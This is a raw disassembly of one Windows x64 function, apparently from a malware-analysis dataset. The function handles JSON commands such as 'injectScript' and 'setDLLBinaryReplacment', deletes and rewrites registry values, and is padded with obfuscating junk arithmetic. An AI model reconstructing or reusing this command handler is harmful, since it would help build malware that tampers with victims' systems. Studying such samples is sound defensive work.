Function at 0x140061f80
Capabilities:
Create http request
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x5da0
call fcn.1400d2b70
sub rsp, rax
mov qword [rsp + 0xda8], 0xfffffffffffffffe
mov rax, qword [0x1401bbe90]
xor rax, rsp
mov qword [rsp + 0x5d90], rax
mov r14, r8
mov r12, rdx
mov qword [rsp + 0x40], rdx
mov r13, rcx
mov qword [rsp + 0x408], rcx
mov qword [rsp + 0x378], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x3a8], r8
mov byte [rsp + 0x7c], 0
mov ecx, dword [0x1401c3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
xor edi, edi
cmp r8d, 0xb
jne 0x14006204a
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140038980
nop
lea rcx, [rsp + 0x5470]
call fcn.140033c00
nop
mov rdx, qword [r12]
mov qword [rsp + 0xe60], rdx
lea rcx, [rsp + 0x70]
call fcn.14001a350
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe70], rax
cmp dword [rax + 0x10], 1
jle 0x1400620a5
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001ae90
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x5350], rdi
mov qword [rsp + 0x5358], rdi
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
or rsi, 0xffffffffffffffff
cmp byte [rdx], 0
jne 0x1400620df
mov r8, rdi
jmp 0x1400620ec
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400620e2
lea rcx, [rsp + 0x5340]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x5340]
lea rcx, [rsp + 0x5470]
call fcn.140033cb0
test al, al
jne 0x140062201
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x2b0]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x2b0]
mov rcx, qword [r13 + 0x40]
call fcn.14005cd70
nop
mov rcx, qword [rsp + 0x2b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062174
mov rdx, qword [rsp + 0x6e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x14006218c
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400621d6
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
cmp byte [rsp + 0x60], 0
jne 0x1400622f1
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3e8]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x3e8]
mov rcx, qword [r13 + 0x40]
call fcn.14005cd70
nop
mov rcx, qword [rsp + 0x3e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062264
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x14006227c
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400622c6
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140039930
mov qword [rsp + 0xe80], rax
lea r12, [0x1401c4c38]
cmp rax, r12
je 0x140067671
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xe90], rax
cmp byte [rax + 8], 4
jne 0x140067671
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039930
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xea0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb0], rdx
lea rcx, [rsp + 0x48]
call fcn.1400030b0
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, rsi
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400623b8
add rdx, 2
cmp rdx, 0xd
je 0x1400623b4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400623b8
jmp 0x140062390
mov ecx, edi
jmp 0x1400623bd
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x6d8], ecx
test ecx, ecx
jne 0x1400630fd
mov eax, dword [0x1401c3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 0xb
jne 0x14006240c
call fcn.1400ce478
mov ecx, dword [0x1401c3d80]
cmp ecx, eax
jne 0x14006240c
dec ecx
mov dword [0x1401c3d80], ecx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xcb8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x8a8], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xed8], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x8b8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc8], rdx
lea rcx, [rsp + 0xa0]
call fcn.1400030b0
nop
mov ebx, dword [0x1401c3d80]
lea ecx, [rbx + 2]
lea eax, [rbx + 1]
imul ecx, eax
imul ecx, ebx
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 0xb
jne 0x140062562
mov eax, ebx
imul eax, ebx
and eax, 0x8000000f
jge 0x1400624d5
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 7
jne 0x1400624ef
mov dword [rsp + 0x10c0], edi
mov dword [rsp + 0x10f8], edi
mov dword [rsp + 0x1130], edi
mov r9d, edi
mov dword [rsp + 0x200], edi
nop dword [rax]
cmp r9d, 0x100
jge 0x140062562
mov edx, r9d
mov dword [rsp + 0x1f0], edx
mov r8d, edi
mov dword [rsp + 0x268], edi
nop dword [rax]
cmp r8d, 8
jae 0x14006254d
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, ebx
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x1f0], edx
inc r8d
mov dword [rsp + 0x268], r8d
jmp 0x140062520
add ebx, edx
mov dword [0x1401c3d80], ebx
inc r9d
mov dword [rsp + 0x200], r9d
jmp 0x140062500
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x518], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ce684
mov r15, rax
mov qword [rsp + 0x128], rax
test rax, rax
je 0x140062fb6
mov r8, rax
lea rdx, [rsp + 0xa0]
call fcn.1400677c0
test al, al
je 0x140062fb0
mov ecx, dword [0x1401c3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 1
jne 0x1400625ee
call fcn.1400ce478
mov dword [0x1401c3d80], eax
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x8c8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xfd0], rcx
mov edx, 0x5c
call fcn.1400d0438
mov rcx, rax
mov qword [rsp + 0x8d8], rax
test rax, rax
jne 0x14006262a
mov ecx, esi
jmp 0x14006263b
mov rax, qword [rbx]
mov qword [rsp + 0xcd8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xd0]
call fcn.1400274d0
nop
mov ecx, dword [0x1401c3d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
cmp r8d, 8
jne 0x1400626d9
mov eax, 0xeb
mov dword [rsp + 0x29c], eax
mov r8d, 0x17
mov dword [rsp + 0x290], r8d
test eax, eax
je 0x1400626d0
test r8d, r8d
je 0x1400626d0
mov ecx, r8d
mov dword [rsp + 0x85c], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x290], edx
mov eax, ecx
mov dword [rsp + 0x29c], ecx
jmp 0x1400626a4
add eax, r8d
mov dword [0x1401c3d80], eax
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x8e8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xef8], rcx
call fcn.140002410
mov qword [rsp + 0x8f8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x5b8], rbx
lea rax, [rsp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x288], eax
test eax, eax
je 0x1400628e9
call fcn.140061c20
test al, al
jne 0x14006278f
mov r9d, edi
mov dword [rsp + 0x2a4], edi
mov r8d, 0xc1
mov r11d, dword [0x1401c3d80]
movsxd r10, r9d
cmp r10, r8
jae 0x14006278f
mov eax, r11d
sub eax, r9d
lea ecx, [r9 + r11]
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x5a80], edx
inc r9d
mov dword [rsp + 0x2a4], r9d
jmp 0x140062765
test r14, r14
je 0x1400627a3
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x6f8], rbx
mov eax, esi
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x1400627cc
mov rdx, qword [rsp + 0x6f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400627fd
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x830], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006282e
mov rdx, qword [rsp + 0x830]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006285c
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140062874
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400628be
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
mov r13, qword [r13 + 0x40]
add r13, 0x2c8
mov qword [rsp + 0x1c8], r13
mov r8d, dword [0x1401c3d80]
mov eax, r8d
imul eax, r8d
and eax, 0x8000000f
jge 0x140062918
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xf
jne 0x140062956
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 8
jne 0x14006294c
dec r8d
mov dword [0x1401c3d80], r8d
inc r8d
mov dword [0x1401c3d80], r8d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xce8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.140039930
mov qword [rsp + 0x908], rax
cmp rax, r12
je 0x140062c28
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
mov qword [rsp + 0xfe0], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x118], rbx
mov eax, edi
mov dword [rsp + 0xe0], eax
mov r12d, edi
mov dword [rsp + 0x80], edi
mov r15d, 1
nop dword [rax]
test eax, eax
jne 0x140062be8
mov dword [rsp + 0x204], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0x918], rax
mov ecx, r15d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x528], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x82c], eax
or eax, ecx
jge 0x140062a29
mov edx, 0x7ffe
lea rcx, [rsp + 0x118]
call fcn.1400023b0
mov rbx, qword [rsp + 0x118]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140062a3c
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x204]
mov r8, rbx
mov edx, r12d
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xe0], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x858], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400ce73c
mov dword [rsp + 0x860], eax
test eax, eax
js 0x140062bde
cmp eax, dword [rbx - 0xc]
jg 0x140062bde
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, str._data
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x578]
call fcn.14001a660
mov qword [rsp + 0xcf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x928], rdx
test rdx, rdx
jne 0x140062af4
mov eax, esi
jmp 0x140062b25
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x870], eax
test eax, eax
jns 0x140062b06
mov eax, esi
jmp 0x140062b25
mov rcx, rbx
call fcn.1400ce90c
mov qword [rsp + 0xf18], rax
test rax, rax
jne 0x140062b1f
mov eax, esi
jmp 0x140062b25
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xb0], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x79]
mov rcx, qword [rsp + 0x578]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062b64
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x79], 0
je 0x140062baf
mov r12d, edi
mov dword [rsp + 0x80], edi
mov rbx, qword [rsp + 0x118]
mov rdx, rbx
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x288], eax
test eax, eax
je 0x140062bca
test r14, r14
je 0x140062be8
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
jmp 0x140062bee
mov r12d, dword [rsp + 0x80]
inc r12d
mov dword [rsp + 0x80], r12d
mov rbx, qword [rsp + 0x118]
mov r13, qword [rsp + 0x1c8]
mov eax, dword [rsp + 0xe0]
jmp 0x1400629d0
mov ecx, 0x80070057
call fcn.140001920
mov r12d, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rbx
mov eax, esi
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140062c16
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r15, qword [rsp + 0x128]
mov r13, qword [rsp + 0x1c8]
jmp 0x140062c2e
mov r12d, 0xb
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x880], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r15
mov rcx, r15
call fcn.140061f00
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x53d0]
call fcn.140061b10
mov qword [rsp + 0x938], rax
cmp qword [rax + 0x18], 0x10
jb 0x140062c7d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x878]
call fcn.1400030b0
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x718]
call fcn.14001a660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3f8]
call fcn.14000fc80
nop
mov rcx, qword [rsp + 0x718]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062cf2
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x878]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062d23
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x53e8], 0x10
jb 0x140062d3b
mov rcx, qword [rsp + 0x53d0]
call fcn.1400cdaa0
mov qword [rsp + 0x53e8], 0xf
mov qword [rsp + 0x53e0], rdi
mov byte [rsp + 0x53d0], 0
xor bl, bl
mov rbx, qword [rsp + 0x128]
jne 0x140062da2
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x888], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xd0]
mov r13, qword [rsp + 0x408]
mov rcx, r13
call fcn.140067920
mov eax, dword [0x1401c3d80]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
cmp r8d, 3
jne 0x140062df3
inc dword [0x1401c57d4]
mov rcx, rbx
call fcn.1400ce600
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r11d, dword [0x1401c3d80]
lea ecx, [r11 + 2]
lea eax, [r11 + 1]
imul ecx, eax
imul ecx, r11d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x17
jne 0x140062ec8
mov r8d, 0x87
mov dword [rsp + 0x1d0], r8d
mov r10d, edi
mov dword [rsp + 0x2a8], edi
nop dword [rax]
cmp r10d, r8d
jge 0x140062ec8
mov r9d, edi
mov dword [rsp + 0x1e0], edi
nop
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x140062ebb
mov ecx, edi
mov dword [rsp + 0x258], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x140062eae
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x1d0], r8d
inc ecx
jmp 0x140062e7f
inc r9d
mov dword [rsp + 0x1e0], r9d
jmp 0x140062e70
inc r10d
mov dword [rsp + 0x2a8], r10d
jmp 0x140062e60
test r14, r14
je 0x140062ed6
mov word [r14], r12w
mov word [r14 + 8], si
mov rax, qword [r13 + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x140062eed
mov dword [rax + 0x2d0], 4
mov rcx, qword [rsp + 0x3f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x728], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f1e
mov rdx, qword [rsp + 0x728]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f4f
mov rdx, qword [rsp + 0x7e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062f80
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x738], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067628
mov rdx, qword [rsp + 0x738]
jmp 0x14006761f
mov ebx, dword [0x1401c3d80]
lea ecx, [rbx + 1]
imul ecx, ebx
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 0xa
jne 0x140062ffd
mov rax, qword [str.NoGGc5wLi]
mov qword [rsp + 0x428], rax
movzx eax, word [0x140152490]
mov word [rsp + 0x430], ax
mov byte [rsp + 0x428], 0xfe
test r14, r14
je 0x140063011
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063042
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x840], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063070
mov rdx, qword [rsp + 0x840]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x140063088
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400630d2
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067770
lea r9, str.setDLLBinaryReplacment
mov r8d, 0x17
mov rdx, rsi
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r9 + rdx*2 + 2]
jne 0x140063137
add rdx, 2
cmp rdx, r8
je 0x140063133
movzx ecx, word [rax + rdx*2]
cmp cx, word [r9 + rdx*2]
jne 0x140063137
jmp 0x140063110
mov eax, edi
jmp 0x14006313c
sbb eax, eax
or eax, 1
mov dword [rsp + 0x448], eax
test eax, eax
jne 0x14006408d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd08], rax
lea rdx, str.from
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x948], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xff0], rax
lea rdx, [0x140152494]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x958], rax
cmp byte [rax + 8], 4
jne 0x140067628
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd18], rax
lea rdx, str.offset
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x968], rax
cmp byte [rax + 8], 1
jne 0x140067628
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x11
jne 0x14006322e
lea rcx, [rsp + 0x5590]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xf38], rax
lea rdx, str.from
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x978], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd28], rdx
lea rcx, [rsp + 0x88]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0x988], rax
lea rdx, [0x140152494]
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x1000], rax
mov rdx, qword [rax]
mov qword [rsp + 0x998], rdx
lea rcx, [rsp + 0xa8]
call fcn.1400030b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140039730
mov qword [rsp + 0xd38], rax
lea rdx, str.offset
mov rcx, rax
call fcn.140039730
mov qword [rsp + 0x9a8], rax
mov rcx, rax
call fcn.140038f60
mov dword [rsp + 0x2a0], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x848], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400ce684
mov r13, rax
mov qword [rsp + 0x778], rax
mov ebx, dword [0x1401c3d80]
lea ecx, [rbx + 2]
lea eax, [rbx + 1]
imul ecx, eax
imul ecx, ebx
and ecx, 0x8000000f
jge 0x14006334a
dec ecx
or ecx, 0xfffffff0
inc ecx
mov r15d, 1
cmp ecx, 0xb
jne 0x14006337e
mov ecx, r15d
